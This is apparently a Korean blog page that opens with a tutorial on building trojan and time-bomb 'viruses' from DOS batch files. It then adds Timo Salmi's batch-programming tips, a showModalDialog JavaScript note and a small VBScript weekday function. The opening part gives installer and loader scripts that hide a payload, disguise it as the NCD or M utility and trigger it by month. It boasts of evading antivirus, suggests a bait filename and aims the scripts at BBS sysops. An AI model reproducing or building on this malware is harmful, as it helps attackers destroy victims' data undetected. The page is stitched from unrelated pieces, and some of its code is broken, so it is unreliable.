예) 간단한  인스톨 프로그램   ( 프로그램은  C:PRPROG.ARJ 로 되어있다고  치자.)
1) 첫번째 필요한 소스
INSTALL.BAT    <= 컴파일시켜 실행파일로 만들면 된다.
@ECHO OFF

ARJ   X  PROG.ARJ   <= COPY 나 다른것으로 바꿔도 된다.
REM     아래 부분부터 숨겨서 침투시키는 내용
ATTRIB  +R +H M.COM    <= 이러면 숨긴다.
COPY M.COM C:.   <= 루트디렉토리에 숨긴다.
^Z

일단은 디렉토리에 풀릴것이다.

아래것은 저번 시간에 공부한 조건형태의 한 형태이다.
이것을 다른 정상유틸형태로 위장한 변형말고 아무런 반응이 없다가 지정한 조건시에 작동하도록 해보자.
2) 두번째 필요한 소스
M.BAT  나 NCD.BAT  <= 컴파일시켜 M.COM or NCD.COM 으로한다.
@ECHO OFF

GETMONTH.COM    <= 시스템 "월" 체크 유틸리티 .  대체 가능
IF ERRORLEVEL 12 IF NOT ERRORLEVEL  13 GOTO M  이나 NCD 로 위장한다.
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO M
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO M
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO M
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO M
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO M
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO M
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO M
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO M
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO M
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO M
:VIRUS
REN  C:PRXXX.DAT XXX.COM  <= 예전에 인스톨해놓았던 C:PR 디렉토리에
                                                       숨겨진파일을 다시 꺼내서 실행하게끔 한다.
DEL XXX.COM   <= 자체파괴
DEL M.COM    <= 자체파괴  / 파일명 변경가능하다.
:M
M.EXE     나    NCD.EXE
:END
왜 NCD.COM 이나 M.COM 으로 하냐면,전에 항상 실행파일은  COM  -> EXE -> BAT 순서라고 했죠?
NCD.EXE / M.EXE 는 AUTOEXEC.BAT 에 항상 따라온다.
이거 안쓰는 사람있음 나와보라구해~~
AUTOEXEC.BAT 는 매일 자동실행되는법~~
그래서, 이렇게 COM 으로 만들어 숨겨두면 찾지도 못할뿐더러 파일명이 같으니 대개 그냥 넘어가버린다.
실행해봤자 3월이 되기전이라면 바로 M.EXE 로 넘겨 버리니까 절대 안걸릴것이다.

3) 세번째 소스
세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛에 맞게 짜기바란다.
이방법이 약간 복잡할수있다.
만약, 상대가 전달받은 프로그램을 곧 지워버릴수 있을것이다.
그러면, 해당디렉토리의 XXX.DAT 같이 위장해놓은 파일을 아에 첨부터 루트에 카피해놓으셔도 무방하다. 전달받은 프로그램을 지워도 이것들은 살아남아 끝까지 박살낼테니깐.......
*좀더 단순화 시켜서 XXX.DAT 를 아에 M.COM 내부에 설치할수도 있다.

배치파일 제작 바이러스 후기
이렇게 배치파일로 제작된 트로이목마  & 시한폭탄 형 바이러스는 절대로 V3 나 TB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!!
대부분의 백신들은 어셈블리로 제작되어 어셈블리 루틴값을 체크하거나 쓰기할 때 잡지만 배치로는 그렇게 고난도 기술을 요하지 않고도 교묘히 빠져나가며 수행하기 때문이다. 즉, 약이 없다.
일일이 에디트로 뜯어보기전에는 모를 것이다. 하지만 전파력이 약하다는것이 단점이라고 하겠다.
그러나 원래 트로이목마 바이러스 라는게 불특정 다수의 전파보다는 특정한 하나의 대상을 파괴하는데 목적이 있기때문에 전혀 문제될것은 아니다.
간단한 형태로 SEX.COM  이런식으로 만들어서 즉각 반응형으로 해도 효과는 좋을것이다.
파일명 저런데 실행안해볼 사람은 없기 때문이다. 판도라의 상자일 것이다.
사설 비비에스 해킹이야 위의 자료를 등록한후 시삽이 실행하기만 기다리면 되는것이다.
위에 열거한 각종  테크닉을 이용한다면 강력한 트로이목마형 바이러스를 초보자들도 쉽게 제작할 수 있을 것이다. 기존의 프로그래밍 언어가 상당  수준 까지 오르는데 많이 시간이 필요한반면 배치 프로그래밍은 짧은 시간내에 학습이 가능하고 적용이 쉽다는 장점이있다.
참고자료
다음은 배치 프로그래밍의 대가인 티모 살미 교수가 정리한 것입니다.
아주 유용한 테크닉들이 들어있습니다.
1. "@echo off"를 일반적으로 사용하기
====================================
화면에 명령어들이 표시되지 않게 echo off 하고, 그 라인도  화면에 표시 되지 않게 하기 위해서 다음과 같이 하면 된다.
 @echo off
이 것은 MsDos 3.30 이후 버전에서만 작동한다.  이것을  일반적으로 사용하게 하기 위해서 3.30이상의 MsDos를 사용한다면  autoexec.bat 안에 다음과 같이 적어 놓는다.
 set _echo=@
그리고 배치파일에서 다음과 같이 사용한다면 어느 버전의 MsDos버전에서도 작동한다.
 %_echo%echo off
2. 모든 파일을 지우기
=====================
가장 흔하게 질문되는 것(FAQ)중의 하나는 del *.*  을  사용껦 때,"Are you sure (Y/N)?" 라는 확인을 어떻게 하면 나타나지 않게 하는것이다. 다음과 같이 사용한다.
 echo y| del *.*
화면에 나타나는 메세지도 보이지 않게 하려면 다음과 같이 한다.
 echo y| del *.* > nul
이러한 확인 절차를 표시하지 않게 하는 것은 토론의 여지가 많지만,위와 같이 사용할 수 있다.
3. 다중 반복
============
배치파일에서 다중 루프(반복)를 사용하는 것이 가능하다. 다음의 두배치파일을 생각해 보자. 그리고 test.bat을 불러 실행시켜 보자.
  echo off
  rem TEST.BAT
  for %%f in (a b c d e f) do %comspec% /c test2 %%f
  echo off
  rem TEST2.BAT
  for %%g in (1 2 3) do echo %1%%g
아니면 한줄로 다음과 같이 써서 사용할 수도 있다.
  for %%f in(a b c d e f) do %comspec% /c for %%g in (1 2 3)  do echo %%f%%g
 이 두번째 방법의 단점은 echo가  화면에 표시된다는 것이다.
4. 디렉토리가 존재하는지 확인하는 방법
======================================
디렉토리가 있는지 확인하는 것은 가끔 매우 쓸모있는 일이다.  %1의 디렉토리가 없다면 다음 확인은 참이 될것이다.
 if not exist %1nul if not exiat %1nul echo Directory  %1  does not exist
5. 프로그램을 현디렉토리나 경로에서 사용할 수 있는지 확인하기
=============================================================
배치 프로그램에서 프로그램을 불러서 사용할때, 그 파일에 대한  경로를 써주지 않았을 경우, 그 프로그램이 현재의 디렉토리나  경로에서 사용가능한지 확인할 때 도움이 될 것이다.
  set _found=
  if exist %1 set _found=yes
  for %%d in (%path%) do if exist %%d%1 set _found=yes
  for %%d in (%path%) do if exist %%d%1 set _found=yes
  if "%_found%"=="yes" goto _continue
  echo %1 is not at path or the current directory
  goto _out
  :_continue
  echo %1 found at path or in the current directory
  :_out
6. 배치파일에서 서브루틴이나 재귀적방법을 사용하기
==================================================
배치파일 안에서 서브루틴을 사용하는 것은 가능하다. 방법은 서브루틴이 실행된  뒤에  돌아가야할  곳을  가르키는  환경변수(예를들면_return)를 설정하는 것이다. 이런 예는 UNPACK.BAT 이나 BOOT.BAT의:_common 과 :_subru 부분에서 찾아 볼 수 있다.
마찬가지로 재귀적인 사용이 가능하다. ("재귀적인  방법"의  의미는 한  배치파일이  자기  자신을  불러  사용하는  것이다.)  이  예는 SAFEDEL.BAT에서 아래의 행을 따라 찾아 보면 된다.
 for %%f in (%1) do call safedel %%f recurse
배치파일의 0번째 인수(%0)는 배치파일 자신을 나타내므로,  safedel은 %0으로 대치 되어 사용할 수도 있다.
7. 매개 인수(parameter)를 대문자로 바꾸기.
=========================================
다음은 배치파일에 사용한 인수 %1 를 대문자로 바꾸어 주는  예제이다. 이는 MsDos는 path를 대문자로 바꾼다는 점을 이용한 것이다. 결과는 upcase_에 저장될 것이고, 원래의 경로가 다시 저장될 것이다.
  set tmp_=%path%
  path=%1
  set upcase_=%path%
  path=%tmp_%
8. 새로운 디렉토리를 경로에 붙이기
==================================
자주 필요한 이 기술은 매우 간단하다. 예를 들어 %1를 경로에  덧붙이려면
 path=%path%;%1
이라고 하면된다.
이 기술은 배치파일 안에서만 사용할 수 있다. 배치파일 안에서만 환경변수(%path%)를 사용할 수 있기 때문이다. 존재하지 않는 디렉토리를 덧붙이려한다거나 중복해서 경로를 덧붙이는 것을 방지하는 ADDPATH.BAT이라는 배치파일이 있다.
9. 두 파일을 비교하기
=====================
배치파일에서 두 파일이 같은지 아닌지 확인해 볼 수 있다. 이  기술은 MsDos의 외부 명령어인 fc.exe와 find.exe를 사용한다. (외부  명령어라는 뜻은 MsDos와 같이 있는 프로그램들이다. 대부분의 외부 명
령어용 프로그램들은 c:dos 에 위치한다.)
  fc %1 %2 > tmp$$$
  type tmp$$$ | find  /i  "fc:  no  differences  encountered"  >diffe$$$
  if exist notsame$ del notsame$$$
  copy diffe$$$ notsame$ > nul
  if not exist notsame$ echo Files %1 and %2 are different
  if exist notsame$ echo Files %1 and %2 are identical
  if exist tmp$$$ del tmp$$$
  if exist notsame$ del notsame$
  if exist diffe$$$ del diffe$$$
좀더 생각하면 이 기술은 다른 목적에도 사용할 수 있다. 이는  파일안에 주어진 문자열이 있는지 확인 하는데 바탕을 두고 있기  때문이다.
10. 빈줄을 쓰기
===============
이는 간단하지만 종종 필요하고 유용한 기술이다. echo 바로  다음에점(.)을 찍으면 빈줄을 표시할 수 있다.
  echo.
11. pause를 이용해 메세지를 표시하기
====================================
메세지를 손쉽게 나타나게 할 수 있다. 메세지를 echo한 다음  pause 를 사용하는데, pause의 메세지를 nul로 보내면 된다.
 echo Break to quit, any other key to remove the tmp directory
 pause > nul
12. for를 이용한 다양한 rename 기술
===================================
이 기술이 기본적이고 사소하지만, 이를 생각해 내기란 쉽지 않을 것이다. for 문은 파일의 이름을 바꾸는데 특별히 유용하다.  예를  들면, 내가 다음의 파일들을 가지고 있을 때, (터보  파스칼  TP  4.0,
5.0, 5.5, 6.0) 내가 버전 29를 30으로 바꾸기 원한다고 할때,
  tspa2940.zip
  tspa2950.zip
  tspa2955.zip
  tspa2960.zip
다음은 손쉽게 그런 일을 해준다.
 for %f in (40 50 55 60) do re tspa29%f.zip tspa30%f.zip
물론 파일이름 바꾸는 일 말고도 이 기술로 다양한 일을 할 수 있다.
하나의 예는 다음과 같다.
  for %d in (a b) do format %d:
13. 와일드카드를 확인하기
=========================
이 예제는 인수 %1이 와일드 카드를 사용하고 있는지 아닌지  확인한다.
  @echo off
  for %%f in (%1) do if "%%f"=="%1" goto _nowilds
  echo Parameter %1 contains wildcards (or is missing)
  :_nowilds
14. 배치 작업을 중간에 그만두지 못하게 하기
===========================================
ctty 명령어를 사용해서 입력장치나 출력장치를 새로 설정하여  배치파일을 중단시키는 것을 방지할 수 있다. 여기의 예제는  패스워드로 e를 넣어야 하는 간단한 배치파일이다.
ctty가  nul로  돌려진  동안<,>의 리디렉션이 필요한 것을 눈여겨 보라. ask라는 배치파일을  돕
기 위한 프로그램은 같이 포함되어 있다. ( MsDos의 choice와 비슷하다. 단, 에러 레벨을 입력한 문자의 아스키 값으로 돌리는 것만 틀리다.)
  @echo off
  ctty nul
  echo Now you cannot break the batch with ^C or ^Break > con
  :_ask
  echo Use e to break > con
  ask /b /d < con
  if errorlevel==101 if not errorlevel==102 goto _out
  goto _ask
  :_out
  ctty con
  echo Back to normal. Now you can break the batch  with  ^C  or
^Break.
이 배치파일이 작동되고 있는 동안에는 alt-crtl-del로  다시 부팅할수도 없다. 이 같은 일을 하는 noboot.exe라는 램상주 프로그램도 있다.
15. autoexec.bat를 중지하고 건너뛰는 것을 방지하기
==================================================
브레이크를 눌러 autoexec.bat를 건너 뛰어 지나치지 않게 하기 위해서 다음과 같이 config.sys에 쓰면 된다.
  shell=c:command.com /p nul
이렇게 하기 전에 만일의 경우를 대비해서 플로피 디스켓으로 부팅할준비를  해둔다. autoexec.bat 맨 뒷줄에 'ctty con'이라고 덧  붙여야 된다. 그렇게 하지 않으면 키보드가 말을 듣지 않을 것이고, 준비한 플로피 디스켓으로 부팅해야 할 것이다 :-).
16. 확장자를 인식하기
=====================
단지 확장자를 확인하려던가, 주어진 파일의 이름에서 확장자를 환경변수로 저장하려고 할때, 이 것은 매우 유용하다. 어떻게 하는지  여기에 있다. 이 배치파일은 PC-Magazine July 1992, Vol 11, No.  13,
page 528에 나온  정보를 이용한 것이다. for 루프에서  슬레시(/)로 시작하는 인수는 두 부분으로 나누어지는데, 처음 부분은 인수의  첫문자이고 다른 부분은 나머지 문자열이다.
이 해결방법에서 하나의 문제점은 .* 이라던가 .???  이란  확장자를 인식하지 못하는 것이다. 그러나 "와일드카드를 확인하기"를  이용해서 확인하면 될 것이다. 이러한 기술을 이용한 것중에  UNPACK.BAT라
는 배치파일이 있다.
     @echo off
     set exten_=%1
     :_next
     set prev_=%exten_%
     for %%f in (/%exten_%) do set exten_=%%f
     if ".%exten_%"=="%prev_%" goto _extfound
     if not "%exten_%"=="%prev_%" goto _next
     goto _noext
     :_extfound
     echo The filename %1 has an extension %exten_%
     goto _out
     :_noext
     echo The filename %1 has no extension
     :_out
     set exten_=
     set prev_=
17. % 문자 인용부호
===================
%1은 배치파일에 주어진 첫번째 인수를 가르킨다. 이처럼 'echo  %1'이라고 하면 첫번째 인수를 표시해 준다. 대신에 %1라는 문자를 표시하고 싶은 경우 어떻게 해야하는가?  % 문자는 인용부호처럼  행동한다. 그래서 %%1이라고 쓴 경우 실제로는 "%1"이라고  화면에  표시된다. 아래의 간단한 연습을 실행해보라.
  @echo off
  if "%1"=="" goto _out
  echo %1
  echo %%1
  :_out
이 기능을 이용한 것은 "배치의 보조 배치파일을 없애기"를  보아라.
좋은 예로는 DELPATH.BAT가 있다.
18. 배치의 보조 배치파일을 없애기
=================================
많은 배치 프로그램이 call을 사용해서 보조 배치파일을  불러다  쓴다. 많은 경우 이런 일을 재귀적인 사용을 통해 자기 자신을  불러다씀으로써  보조 파일을 사용하는 것을 줄일 수 있다. 보조코드는  배치파일 자기자신에 넣어 놓는다. 이러한 기술은 와일드 카드를  받아들이는 TYPE 같은 SHOW.BAT 에서 가장 잘 나타나 있다. 일반적으로는 개개의 파일을 type하기 위해서  보조파일이  필요하다.  다른  예는
SAFEDEL.BAT에서 찾아볼수있다.
이와 같은 일을 하기 위한 다른 기술이 있다. 원래의 배치파일이  보조 배치파일을 만든 다음 그것을 불러 사용하는 것이다. 이런 것으로는 DELPATH.BAT의 예를 들 수 있다. 여기에는  사용되는  드라이브를
보여주는 간단한 예가 있다. (c 부터 t 까지 가능하다. 여기선 더 쓰면 줄이 넘어가니까!)
 @echo off
 echo @echo off> tmp$$$.bat
 echo if exist %%1:nul echo Drive %%1: is present>> tmp$$$.bat
 for %%d in (c d e f g h i j k l m n o p q r s t) do call tmp$$$
%%d
 del tmp$$$.bat
디스크의 볼륨  레이블을  찾아내는  창의적인  기교가  PC-Magazine August 1992, Vol. 11, No. 14, p. 527에 실렸다. 여기는 같은  기술을 사용하는  예가 있다. 환경변수 getdir_에 현재의 디렉토리를  저장한다. 이 기술은 PUSHDIRE.BAT에 사용되고 있다.
  @echo off
  echo @echo off> director.bat
  echo set getdir_=%%2>> director.bat
  echo echo %%getdir_%%>> director.bat
  dir | find "Directory"> go.bat
  call go
  if exist director.bat del director.bat
  if exist go.bat del go.bat
19. subst 명령어를 경로에 사용하기
==================================
어떤 디렉토리를 읽기 쉽게 하기 위해서 간단한  배치파일을  사용한다. 만약 subst 가 이미 설정되어서 생길 수 있는 에러를  방지한다. 그리고 마지막으로 현재 대치된 디렉토리의 현황을 보여준다.
  @echo off
  if exist m:nul echo The substitution has already been made
  if not exist m:nul subst m: c:math
  if not exist s:nul subst s: c:support
  subst
20. 일주일에 한번 실행하기. (요일을 확인하기)
=============================================
요일을  환경변수에  넣는  것은  어려운  기술이다.  완전한   예는 WEEKLY.BAT에서 찾아볼수 있다. 이 기술의 핵심은 아래에 나와  있는데, 요일을 weekday_라는 환경변수에 저장하는 것이다. 일반 도스 프로그램 외에 아무런 보조 프로그램이 필요없다.
  @echo off
  echo.| date | find "Current" > tmp$$$.bat
  echo set weekday_=%%3> current.bat
  call tmp$$$
  echo %weekday_%
  if "%weekday_%"=="Fri" echo Thank God it's Friday
  if exist tmp$$$.bat del tmp$$$.bat
  if exist current.bat del current.bat
  set weekday_=
사실, 위에서 %%3 대신에 %%4를 사용하면 오늘의 날짜를  확인할  수 있다.
21. 파일이름에 경로가 포함되었는지 확인하기
===========================================
우선 먼저 "확장자를 인식하기"를 보면 같은 아이디어인 것을 알  수 있다. 파일이름이 단순히 go.exe 로 이루어 졌는지,  아니면  경로를 포함해서 r:progsgo.exe와  같이  이루어  졌는지  확인하는  것은 r:progs*.exe와 같이 확장자를 사용했다면 매우 복잡한 일이다. 여기서 어떻게 되는지 설명하였다. 이를 완전히 이해했다면 확실히  배치 파일들에 대해서 이해하기 시작했다고 말할 수 있을 것이다.
  @echo off
  echo @echo off> tmp$$$.bat
  echo set rest_=%%1>> tmp$$$.bat
  echo :_next>> tmp$$$.bat
  echo set prev_=%%rest_%%>> tmp$$$.bat
  echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
  echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if "%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
  echo goto _nopath>> tmp$$$.bat
  echo :_found>> tmp$$              at
  echo set haspath_=yes>> tmp$$$.bat
  echo goto _out>> tmp$$$.bat
  echo :_nopath>> tmp$$$.bat
  echo set haspath_=no>> tmp$$$.bat
  echo :_out>> tmp$$$.bat
  echo set rest_=>> tmp$$$.bat
  echo set prev_=>> tmp$$$.bat
  for %%f in (%1) do call tmp$$$ %%f
  if "%haspath_%"=="yes" echo Filename %1 includes a path
  if "%haspath_%"=="no" echo Filename %1 does not include a path
  rem if exist tmp$$$.bat del tmp$$$.bat
  set haspath_=
22. 엔터키를 누르지 않고 시간을 보기
====================================
현재의 시간을 보는 간단한 기술은 다음과 같다.
  echo.| time | find /v "new"
시간을 환경변수로 저장하는 방법은 LASTBOOT.BAT을 보아라.
23. 에러레벨 값을 확인하는 다른 방법
====================================
많은 프로그램과 몇개의 도스명령어들( diskcomp, format,  xcopy)은끝날 때 에러 레벨을 발생시킨다. 에러레벨의 누적적인 성질  때문에 에러 레벨을 확인하는 것은 다소 복잡해진다. 그래서 만약  에러레벨이 정확히 2인지 확인하기 위해서는 다음과 같이 한다.
 if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for 명령어를 사용하는 다른 방법으로 다음을 들수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel 2
좀 더 일반적으로 다음과 같이 할 수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel %_errlev%
복잡한 배치파일에서 편리한 방법은 goto를 사용하는 것이다.
  for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
  goto _out
  :_label0
  echo Errorlevel 0
  :_label1
  echo Errorlevel 1
  :_label2
  echo Errorlevel 2
  :_out
이 기술을 실제로 사용하는 예는 BOOT.BAT에서 찾아볼수 있다.
24. 배치파일의 출력을 리디렉션(redirection)하기
===============================================
배치파일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있다. 다음과 같은 example.bat 이라는 배치파일을 생각해보자.
  @echo This is a redirection test> test
"example"를 실행시키면 아래의 문장을 담은 "test"라는 파일을 생성 할 것이다.
  This is a redirection test
이 줄은 eoln(end of line: ascii 13 + 10)을 줄 끝에  포함하고  있다. 리디렉션 기호 '>' 앞에 아무런 공백도 주지 않는  것이  현명할때가 있다.
배치파일이 만드는 출력을 다시 재 방향전환(redirection)하는  것은 다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해  보자.
  @echo This is another redirection test
실행하면,
  example2 > test
출력은 화면에 나오고, 빈 test라는 파일이 생성될  것이다.  출력을 재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석기를 통해서 배치파일을 실행해야 한다.( command.com은  현디렉토리나 경로에 있어야 한다.)
  command /c example2 > test
이와 같이 하면 내용이 "test"라는 파일에 담길 것이다.
25. 환경저장 공간이 충분한지 확인하기
=====================================
만약 배치파일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할경우가 있다. 만약 "Out of environment space"라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을  설정해서 환경저장 공간을 늘릴 수 있다.
  shell=c:bincommand.com c:bin /e:1024 /p
이 보다 덜 알려진 기술로는 환경저장 공간이 모자라기 전에 미리 확인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한다.
 @echo off
 set test_=12345678901234567890123456789012
 if "%test_%"=="12345678901234567890123456789012" goto _yes
 echo Insufficient environment space
 goto _out
 :_yes
 echo Sufficient environment space
 set test_=
 rem Whatever you wish to do
 :_out
26. 드라이브를 사용 못하게 하는 간단한 방법
===========================================
임시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면 된다. 예는 아래와 같다.
  @echo off
  md c:none
  subst d: c:none
다시 사용하게 하려면,
  @echo off
  subst d: /d
  rd c:none
27. 프린터에 escape 명령어를 보내기
===================================
여기 정말  사소한  기술이  있다.  명령행에서  곧바로  프린터에게 escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치파일을 이용하면 간단하다.
  @echo ESC%1> prn
ESC는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지 결점은 라인피드를 보내는 것이다.
28. 무작위 문자열을 만든는 방법
===============================
UseNet news에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있었다.  대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
  @echo off
  echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
  echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
  echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
  echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
  echo 50 close #2 >> tmp.bas
  echo 60 system >> tmp.bas
  gwbasic tmp.bas
  call tmp2
  del tmp.bas
  del tmp2.bat
  set
29. 문자열의 길이를 알아내기
============================
문자열의 길이를 찾아내는 일은 PC Magazine January 26, 1993 issue 에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과  근본적으로 같지만, 더 일반적이다.
  @echo off
  set test_=Testing the lenght of a string
  echo %test_% > len$&$&$
  dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
  echo @echo off> len$&$&$.bat
  echo set length_=%%                 len$&$&$.bat
  call go$$$
  echo The lenght is %length_% bytes
  del len$&$&$
  del len$&$&$.bat
  del go$$$.bat
30. MsDos의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT을 보면 알겠지만, 배치파일로만 버전을 알아낼  수있다.
여기에 다른 방법이 있다.
  @echo off
  ver > go$$$.bat
  echo @echo off> ms-dos.bat
  echo set version_=%%2>> ms-dos.bat
  call go$$$
  echo Your MsDos version is %version_%
  del go$$$.bat
  del ms-dos.bat

1. 모든 제어권을 새로 띄워지는 창이 가짐.
 -> showModalDialog로 생성된 팝업창을 닫아야 부모창은 다른 액션을 취할 수 있음.

2. 사용방법
   window.showModalDialog("url","arguments","options");
   - url은 모달다이어로그로 열 html 문서의 주소
   - arguments는 대화 상자에 넘겨줄 인자
   - options
     dialogHeight : pixel 높이
     dialogWeight : pixel 너비
     dialogLeft  : 좌측 상단의 x 좌표
     dialogTop   : 좌측 상단의 y 좌표
     center       : 중앙위치설정(yes/no)
     help         : help 아이콘(yes/no)
     scroll       : 스크롤바(yes/no)
     resizable    : 크기조절 가능여부(yes/no)
     status       : 상태표시줄 표시여부(yes/no)

3. arguments 전달방법(부모창 -> 모달창)
   1) window.showModalDialog("URL", window, "dialogWidth:600px; dialogHeight:600px;status:no;help:no");
      -> arguments로 window 객체를 넘겨주었고 모달창에서는 window.dialogArguments 로 parent Object에 접근가능
         var win = window.dialogArguments;
         var pform = win.document.dataForm;
   2) 여러개의 객체를 넘기는 방법
      <INPUT TYPE="text" ID="gHtxtZipNo" SIZE="10">
      <INPUT TYPE="text" ID="gHtxtAddr" SIZE="30">
   
      객체를 생성해서 넘긴다.
      var oArgObj = new Object();
      oArgObj.pZipNo = "123456";
      oArgObj.pAddr = "zzzzzz";


      window.showModalDialog("URL", oArgObj, "dialogWidth:600px; dialogHeight:600px;status:no;help:no");


      모달창에서 넘어온 값을 참조방법

       var paramObj = window.dialogArguments;

       alert(paramObj.pZipNo);


4. Return 값 전달방법(모달창 -> 부모창)
   부모창
   -> rVal = window.showModalDialog("URL", window, "dialogWidth:600px; dialogHeight:600px;status:no;help:no");
 
   모달창
   -> var arg = window.dialogArguments; 부모창에서 인자로 넘어온 값
      window.returnValue = 호출한 페이지로 넘길 값(위의 경우 이 값은 rVal에 저장된다)
      window.close();

출처 : http://blog.naver.com/lsy94307/140011313721

Function WeekDay( In_Date )

    Dim strWDay

    strWDay = weekday(dates)
 
    Select  Case strWDay

        Case "1"
                strWDay= "일"

        Case "2"
                strWDay = "월"

        Case "3"
                strWDay = "화"

        Case "4"
                strWDay = "수"

        Case "5"
                strWDay = "목"

        Case "6"
                strWDay = "금"

        Case "7"
                strWDay = "토"

     End Select
     
     WeekDay = strWDay
 
End Function

+ Recent posts